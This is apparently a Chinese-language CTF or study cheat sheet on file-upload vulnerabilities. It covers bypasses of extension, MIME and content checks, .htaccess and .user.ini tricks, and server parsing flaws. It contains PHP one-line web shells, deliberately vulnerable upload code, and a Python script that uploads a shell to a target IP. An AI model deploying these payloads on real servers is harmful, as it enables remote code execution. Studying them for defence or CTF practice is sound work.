文件上传漏洞总结
文件上传
文件检测手法
- 客户端javascript校验(一般只校验后缀名)
服务端校验
- 文件头content-type字段校验(image/gif)(MIME类型)
- 文件内容头校验(GIF89a)
- 后缀名黑名单校验
- 后缀名白名单校验
- 自定义正则校验
- WAF设备校验(根据不同的WAF产品而定)
绕过
抓包,修改Content-Type: image/jpeg
文件头 : 伪造图片文件头(GIF89a)
黑名单
<?php
// 实际情况中黑名单内数据会更多更全面
$blacklist = array('php', 'asp', 'aspx', 'jsp');
$path = "./uploads";
$type = array_pop(explode('.', $_FILES['myfile']['name']));
if (in_array(strtolower($type), $blacklist)) {
die("File type errer!<br>");
} else {
$file = $path . '/' . $_FILES['myfile']['name'];
if (move_uploaded_file($_FILES['myfile']['tmp_name'], $file)) {
echo 'Success!<br>';
} else {
echo 'Error!<br>';
}
}
?>
黑名单,尝试各种特殊文件名(php、Php、PHP、pht、php5、phtml,shtml,),或者在扩展名后添加空格、::$DATA、.,$,/.,等字符,再或者是尝试上传.htaccess
防御手段
随机文件名+白名单后缀
PHP:
php2、php3、php5、phtml、pht(是否解析需要根据配置文件中设置类型来决定)
ASP:
asa、cer、cdx
ASPX:
ascx、ashx、asac
JSP:
jsp、jspx、jspf
.htaccess
AddType application/x-httpd-php .wuwu
把.wuwu当作php解析
::$DATA(windows)
上传文件为xxx.php::$DATA类型的文件。可以看到上传的文件为xxx.php::$data。
https://www.freebuf.com/column/143101.html
内容检测
几种标签语法
<??> <?php <?=?> <% <script lanague='php'>
短标签
两种短标签必须在php5.4.0之后
其中短标签<? ?> 需要在php.ini中开启配置short_open_tag才能使用
<?= 等价于 <? echo 不用开启短标签
<?= `whoami`?>
<?= `ls`?>
7.0.0 The ASP tags <%, %>, <%=, and the script tag <script language="php"> are removed from PHP.
5.4.0 The tag <?= is always available regardless of the short_open_tag ini setting.
其中ASP标签<% %>需要将asp_tags设成On
通过php小于7.0的可以通过<script lanague='php'>
绕过
<script language="php">
phpinfo();
</script>
- 利用.htaccess 附加base64 绕过
- 利用.user.ini 附加base64 绕过
.htaccess
//.htaccess
AddType application/x-httpd-php .jpg
上传.htaccess 把jpg当作php解析,只需要上传带shell的.jpg文件即可
//shell.jpg
<script language="php">
eval($_POST["x"]);
</script>
关键字匹配
- \+换行绕过
上传内容如下,绕过php关键字的过滤
AddType application/x-httpd-p \ hp .wuwu
图片伪造
- 构造图片和长度
htaccess = b"""\x00\x00\x8a\x39\x8a\x39
AddType application/x-httpd-php .wuwu
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.wuwu"
"""
shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['c']);?>")
\x00\x00\x8a\x39\x8a\x39 是构造的图片头,
php_value auto_append_file 会给php文件附加后面的内容
将 shell的内容上传至shell.wuwu
htaccess 上传至.htaccess
然后访问shell.wuwu既可
参考脚本
import requests import base64 url = "http://35.246.234.136/?" header = {"Cookie":"PHPSESSID=58eshi3a265dguf0icnkc6qk5a"} htaccess = b"""\x00\x00\x8a\x39\x8a\x39 AddType application/x-httpd-php .wuwu php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.wuwu" """ shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['c']);?>") files = [('image',('.htaccess',htaccess,'application/octet-stream'))] data = {"upload":"Submit"} proxies = {"http":"http://127.0.0.1:8080"} print("upload .htaccess") r = requests.post(url=url, data=data, files=files,headers=header)#proxies=proxies) # print(r.text) print("upload shell.wuwu") files = [('image',('shell.wuwu',shell,'application/octet-stream'))] r = requests.post(url=url, data=data, files=files,headers=header)
上传cgi脚本
<code>Options +ExecCGI AddHandler cgi-script .xx</code>
cgi脚本最好在Linux下编写,保存为3.xx
#!/bin/bash echo "Content-Type: text/plain" echo "" cat /flag exit 0
cgi参考文档:https://www.freebuf.com/vuls/218495.html
.user.ini
.user.ini用于nginx/apache/IIS 中
\x00\x00\x8a\x39\x8a\x39
auto_prepend_file = cc.jpg
白名单
<?php
$whitelist = array('png', 'jpg', 'jpeg', 'gif');
$path = "./uploads";
$type = array_pop(explode('.', $_FILES['myfile']['name']));
if (!in_array(strtolower($type), $whitelist)) {
die("File type errer!<br>");
} else {
$file = $path . '/' . $_FILES['myfile']['name'];
if (move_uploaded_file($_FILES['myfile']['tmp_name'], $file)) {
echo 'Success!<br>';
} else {
echo 'Error!<br>';
}
}
中间解析漏洞
IIS6.0目录解析(6.0)
形式:www.xxx.com/xx.asp/xx.jpg
原理:服务器默认会把.asp .asa目录下的文件都解析成asp文件(如果上传可以修改路径的话可以修改成asp目录下 利用解析漏洞使服务器把jpg文件解析成asp)
文件解析(6.0)
形式:www.xxx.com/xx.asp;.jpg
原理:服务器默认不解析分号后面的内容因此xx.asp;.jpg被解析成asp文件(用于只允许jpg文件上传等等)
IIS 7.5解析利用方法
漏洞与PHP配置有关,php.ini中的参数cgi.fix_pathinfo参数配置错误导致解析漏洞,开启了cgi.fix_pathinfo,与IIS本身无关,仅是php开发有关,不支持asp、aps.net等其他语言。
上传个一句话马儿php.jpg,就是php一句话改名为jpg,然后以下面方式访问:
http://www.xxxx.com/UploadFiles/p_w_picpath/php.jpg/.php
APACHE解析漏洞
Apache解析文件是从右到左开始判断的,如果后缀名识别不了就会往左继续判断,比如1.php.aaa.bbb.ccc aaa bbb ccc这种后缀名都识别不了直到识别成功为php(在低版本存在2.x)
www.xxx.com/1.php.aa.bb
其余配置问题导致漏洞
(1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
(2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .png即使扩展名是 jpg,一样能以 php 方式执行。
nginx解析漏洞
漏洞形式
www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%200.php
xxx.jpg%00.php (Nginx <8.03 空字节代码执行漏洞)
漏洞原理
Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:
PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了。
结合文件包含利用
先上传1.jpg 再包含文件会当作php解析
结合phar触发反序列化
00截断
经常出现与目录拼接
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
<img src="../upload/a.php /2320190529093028.jpg">
文件上传基础利用
- 上传.php 文件,直接gethsell
- 上传.htccess 文件,配置服务器解析php,bash等进一步操作,如gethsell,泄露源码
- 上传zip,phar进一步利用
- 文件名注入